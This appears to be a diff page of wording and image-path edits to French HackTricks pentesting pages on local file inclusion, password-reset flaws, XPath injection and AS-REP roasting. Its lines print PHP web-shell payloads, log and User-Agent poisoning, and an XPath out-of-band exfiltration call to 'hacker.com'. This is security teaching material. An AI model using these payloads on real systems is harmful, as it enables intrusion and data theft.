Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire comme suit :
|
||||
```bash
|
||||
|
@ -438,9 +438,9 @@ De même, pour exécuter des commandes système arbitraires, on pourrait utilise
|
|||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Il est important de **coder ces charges utiles en URL**.
|
||||
Il est important de **coder ces payloads en URL**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -451,7 +451,7 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
Restez informé des nouvelles chasses aux bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -463,7 +463,7 @@ Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin
|
|||
|
||||
Dans [**ce post incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un parcours de chemin aveugle peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
|
||||
En résumé, la technique utilise l'**encodage "UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
En résumé, la technique utilise le **"UCS-4LE" encoding** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
|
||||
Ensuite, afin de divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
||||
|
||||
|
@ -484,7 +484,7 @@ Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la f
|
|||
{% hint style="warning" %}
|
||||
Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** là et **rien d'autre ne sera exécuté**.
|
||||
|
||||
De plus, assurez-vous de **bien écrire la charge utile** sinon PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas une seconde opportunité.
|
||||
De plus, assurez-vous de **bien écrire le payload** sinon PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas une seconde opportunité.
|
||||
{% endhint %}
|
||||
|
||||
Cela pourrait également être fait dans d'autres journaux mais **soyez prudent**, le code à l'intérieur des journaux pourrait être codé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. Le PHPShell pourrait être inséré dans cet en-tête.\
|
||||
|
@ -504,7 +504,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Via Email
|
||||
|
||||
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
|
@ -513,14 +513,14 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Via /proc/self/environ
|
||||
|
||||
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ
|
||||
Comme un fichier journal, envoyez la charge utile dans le User-Agent, elle sera reflétée dans le fichier /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Si vous pouvez télécharger un fichier, il suffit d'injecter le payload de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
||||
Si vous pouvez télécharger un fichier, injectez simplement le payload de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
|
@ -532,9 +532,9 @@ Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez à :
|
|||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Via les sessions PHP
|
||||
|
||||
Vérifiez si le site utilise PHP Session (PHPSESSID)
|
||||
Vérifiez si le site utilise la session PHP (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
|
@ -560,7 +560,7 @@ Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /
|
|||
|
||||
Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
|
||||
|
||||
1. Injectez une charge utile PHP dans le champ nom d'utilisateur lors du processus de connexion.
|
||||
1. Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
|
||||
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
@ -670,18 +670,18 @@ _Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP té
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Hacking Insights**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel
|
||||
|
||||
**Latest Announcements**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouveaux bug bounties lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
|
@ -693,7 +693,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -15,26 +15,26 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le [**serveur HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
**Aperçus du hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
**Actualités de hacking en temps réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## **Fuite de jeton de réinitialisation de mot de passe via le référent**
|
||||
|
||||
* L'en-tête HTTP referer peut fuir le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien de site tiers après avoir demandé une réinitialisation de mot de passe.
|
||||
* L'en-tête HTTP referer peut fuir le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
|
||||
* **Impact** : Prise de contrôle potentielle du compte via des attaques de Cross-Site Request Forgery (CSRF).
|
||||
* **Exploitation** : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, **demandez une réinitialisation de mot de passe** à votre adresse e-mail et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si l'**en-tête référent contient le jeton de réinitialisation de mot de passe**, car cela pourrait exposer des informations sensibles à des tiers.
|
||||
* **Exploitation** : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, **demandez une réinitialisation de mot de passe** à votre adresse e-mail et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si **l'en-tête référent contient le jeton de réinitialisation de mot de passe**, car cela pourrait exposer des informations sensibles à des tiers.
|
||||
* **Références** :
|
||||
* [HackerOne Rapport 342693](https://hackerone.com/reports/342693)
|
||||
* [HackerOne Rapport 272379](https://hackerone.com/reports/272379)
|
||||
|
@ -173,7 +173,7 @@ POST /api/changepass
|
|||
|
||||
* Tenter de forcer le jeton de réinitialisation en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limites de taux basées sur l'IP.
|
||||
* **Étapes d'atténuation** :
|
||||
* Mettez en œuvre des mécanismes de limitation de taux robustes et de verrouillage de compte.
|
||||
* Mettez en œuvre des mécanismes robustes de limitation de taux et de verrouillage de compte.
|
||||
* Surveillez les activités suspectes indiquant des attaques par force brute.
|
||||
|
||||
## **Essayez d'utiliser votre jeton**
|
||||
|
@ -198,7 +198,7 @@ POST /api/changepass
|
|||
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -223,7 +223,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux dépôts GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,14 +10,14 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
@ -28,7 +28,7 @@ Restez à jour avec le monde du hacking en rapide évolution grâce à des nouve
|
|||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
## Syntaxe de Base
|
||||
|
||||
|
@ -36,7 +36,7 @@ Une technique d'attaque connue sous le nom d'injection XPath est utilisée pour
|
|||
|
||||
### Nœuds Décrits
|
||||
|
||||
Les expressions sont utilisées pour sélectionner divers nœuds dans un document XML. Ces expressions et leurs descriptions sont résumées ci-dessous :
|
||||
Des expressions sont utilisées pour sélectionner divers nœuds dans un document XML. Ces expressions et leurs descriptions sont résumées ci-dessous :
|
||||
|
||||
* **nodename** : Tous les nœuds avec le nom "nodename" sont sélectionnés.
|
||||
* **/** : La sélection est faite à partir du nœud racine.
|
||||
|
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -318,7 +318,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -97,7 +97,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
|
|||
|
||||
## ASREProast sans identifiants
|
||||
|
||||
Un attaquant peut utiliser une position de l'homme du milieu pour capturer les paquets AS-REP alors qu'ils traversent le réseau sans s'appuyer sur la désactivation de la pré-authentification Kerberos. Cela fonctionne donc pour tous les utilisateurs sur le VLAN.\
|
||||
Un attaquant peut utiliser une position de l'homme du milieu pour capturer les paquets AS-REP alors qu'ils traversent le réseau sans dépendre de la désactivation de la pré-authentification Kerberos. Cela fonctionne donc pour tous les utilisateurs sur le VLAN.\
|
||||
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) nous permet de le faire. De plus, l'outil force les stations de travail des clients à utiliser RC4 en modifiant la négociation Kerberos.
|
||||
```bash
|
||||
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
|
||||
|
@ -115,7 +115,7 @@ ASRepCatcher listen
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -139,7 +139,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue